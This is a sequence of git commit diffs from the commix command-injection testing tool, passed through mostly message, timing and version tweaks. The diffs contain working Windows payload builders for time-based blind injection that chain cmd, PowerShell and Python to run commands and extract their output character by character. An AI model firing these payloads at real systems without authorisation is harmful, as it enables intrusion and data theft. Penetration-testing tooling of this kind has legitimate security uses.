('cmd /c " + @@ -334,7 +334,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + @@ -420,7 +420,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -498,7 +498,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -566,7 +566,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cbae53b3ce..6fe99e1673 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -387,14 +387,24 @@ def captcha_check(page): Checking the reliability of the used payload message. """ def check_for_false_positive_result(): - debug_msg = "A potential injection point has been detected. " - debug_msg += "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_bold_debug_msg(debug_msg)) - print(settings.SINGLE_WHITESPACE) - + info_msg = "A potential injection point has been detected. " + info_msg += "Checking the reliability of the used payload " + info_msg += "in case of a false positive result" + if settings.VERBOSITY_LEVEL != 0: + info_msg = info_msg + ".\n" + else: + info_msg = info_msg +", please wait..." + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + +""" +False positive or unexploitable injection point detected. +""" +def unexploitable_point(): + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + warn_msg = "False positive or unexploitable injection point has been detected." + print(settings.print_bold_warning_msg(warn_msg)) + """ Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase. """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 0f7fe627f6..50db678240 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -349,22 +349,18 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. - elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): - if i == total: if finalize(exit_loops, no_result, float_percent, injection_type, technique): continue else: raise - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) + sys.stdout.write("\r") + message = "It seems that you don't have permissions to " + message += "read and/or write files in '" + settings.WEB_ROOT + "'. " while True: - message = "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " + message = message + "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index d04f346735..94ea471073 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -229,11 +229,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Identified false positive warning message. if false_positive_warning: - warn_msg = "Unexpected time delays have been identified due to unstable " - warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_bold_warning_msg(warn_msg)) + message = "Unexpected time delays have been identified due to unstable " + message += "requests. This behavior may lead to false-positive results. " + sys.stdout.write("\r") while True: - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": @@ -310,10 +310,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + # if settings.VERBOSITY_LEVEL == 0: + # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + # sys.stdout.flush() except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 9d73e3c6f3..6f91ee3932 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -367,12 +367,16 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese found_chars = False checks.check_for_false_positive_result() - + # Varying the sleep time. timesec = timesec + random.randint(1, 5) # Checking the output length of the used payload. + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(timesec * ".") for output_length in range(1, 3): + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(timesec * ".") # Execute shell commands on vulnerable host. if alter_shell : payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) @@ -436,7 +440,8 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 9): - + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(timesec * ".") # Get the execution ouput, of shell execution. if alter_shell: payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) @@ -494,12 +499,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(" (done)") return how_long, output else: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point detected." - print(settings.print_warning_msg(warn_msg)) + checks.unexploitable_point() """ Export the injection results diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 7d3d540646..3801c9bbed 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -27,7 +27,7 @@ """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + @@ -111,7 +111,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + @@ -195,7 +195,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -306,7 +306,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -393,7 +393,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ """ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " @@ -469,7 +469,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -542,13 +542,13 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t """ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) elif separator == "&&" : @@ -557,8 +557,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth payload = (ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) else: @@ -611,7 +611,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f72cebc574..85cf8f3008 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -210,7 +210,7 @@ def estimate_response_time(url, timesec): if settings.TARGET_OS == "win": warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." - print(settings.print_bold_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index c3b3f6a02b..4464e9c856 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "92" +REVISION = "93" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fa1c2a2c5785499668438f125901ad7ab2c42bfe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 26 Jun 2022 10:43:57 +0300 Subject: [PATCH 0171/1023] Minor updates --- .../blind/techniques/time_based/tb_handler.py | 2 -- .../blind/techniques/time_based/tb_injector.py | 8 ++------ src/core/injections/controller/checks.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 3 +-- .../techniques/tempfile_based/tfb_handler.py | 12 +++--------- .../techniques/tempfile_based/tfb_injector.py | 10 ++++------ .../techniques/tempfile_based/tfb_payloads.py | 8 ++++---- src/utils/settings.py | 2 +- 8 files changed, 16 insertions(+), 31 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index b363373d80..ae48ada154 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -498,9 +498,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) - print(settings.SINGLE_WHITESPACE) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 2a6b4056ed..31d2dc95da 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -510,11 +510,9 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n") + print(settings.print_info_msg(info_msg)) else: # Check if exists pipe filtration. if output != False : @@ -526,8 +524,6 @@ def export_injection_results(cmd, separator, output, check_how_long): raise SystemExit() # Check for fault command. else: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) err_msg = common.invalid_cmd_output(cmd) - sys.stdout.write("\r" + settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6fe99e1673..42707ba15e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -387,7 +387,7 @@ def captcha_check(page): Checking the reliability of the used payload message. """ def check_for_false_positive_result(): - info_msg = "A potential injection point has been detected. " + info_msg = "Potential injection point has been detected. " info_msg += "Checking the reliability of the used payload " info_msg += "in case of a false positive result" if settings.VERBOSITY_LEVEL != 0: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 50db678240..d576f54c7a 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -402,7 +402,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) if 'vuln_parameter' in locals(): - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise @@ -626,7 +626,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r except KeyboardInterrupt: # Delete previous shell (text) files (output) - print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 94ea471073..58327d60f2 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -310,15 +310,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue - # if settings.VERBOSITY_LEVEL == 0: - # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - # sys.stdout.flush() except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise @@ -547,9 +543,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) - print(settings.SINGLE_WHITESPACE) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) @@ -573,8 +567,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. - print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + sys.stdout.write("\r") raise except EOFError: @@ -584,13 +578,13 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + sys.stdout.write("\r") raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False - else : sys.stdout.write("\r") sys.stdout.flush() diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 6f91ee3932..9990b3c32b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -23,6 +23,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.utils import menu from src.utils import settings +from src.utils import common from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor from src.core.requests import proxy @@ -511,14 +512,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n") + print(settings.print_info_msg(info_msg)) else: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) err_msg = common.invalid_cmd_output(cmd) - sys.stdout.write("\r" + settings.print_error_msg(err_msg) + "\n") + print(settings.print_error_msg(err_msg)) + # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 3801c9bbed..bd145f21ef 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -399,7 +399,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" ) elif separator == "&&" : @@ -409,7 +409,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" ) else: @@ -548,7 +548,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\"" ) elif separator == "&&" : @@ -558,7 +558,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\"" ) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 4464e9c856..cebfd30abd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "93" +REVISION = "94" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 244632def1aa3a8d1d2e693b82391212447ad62f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Jun 2022 09:32:28 +0300 Subject: [PATCH 0172/1023] Fixes https://github.com/commixproject/commix/issues/772 --- src/utils/common.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 8de209f3d4..9d5268d3a8 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -70,7 +70,7 @@ def is_empty(): answer = item.split('=')[1] if len(item.split('=')) > 1 else None if answer and question.lower() in message.lower(): value = answer - print(settings.print_message(message + value)) + print(settings.print_message(message + str(value))) return value elif answer is None and value: return is_empty() @@ -79,7 +79,7 @@ def is_empty(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the given answer." print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + value)) + print(settings.print_message(message + str(value))) return value elif value is None: @@ -87,7 +87,7 @@ def is_empty(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the default behavior, running in batch mode." print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + default)) + print(settings.print_message(message + str(default))) return default else: return is_empty() diff --git a/src/utils/settings.py b/src/utils/settings.py index cebfd30abd..2e1b7f4a7b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "94" +REVISION = "95" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 32f7c76bd17632f0a1b40d52f248c7f68d655542 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 28 Jun 2022 07:10:01 +0300 Subject: [PATCH 0173/1023] Minor update --- .../techniques/time_based/tb_payloads.py | 32 +++++++++---------- .../techniques/tempfile_based/tfb_payloads.py | 32 +++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 33 insertions(+), 33 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index fd7a9446cb..4976fa8bdf 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -31,7 +31,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -40,7 +40,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -103,7 +103,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) @@ -114,7 +114,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: @@ -185,7 +185,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -195,7 +195,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + 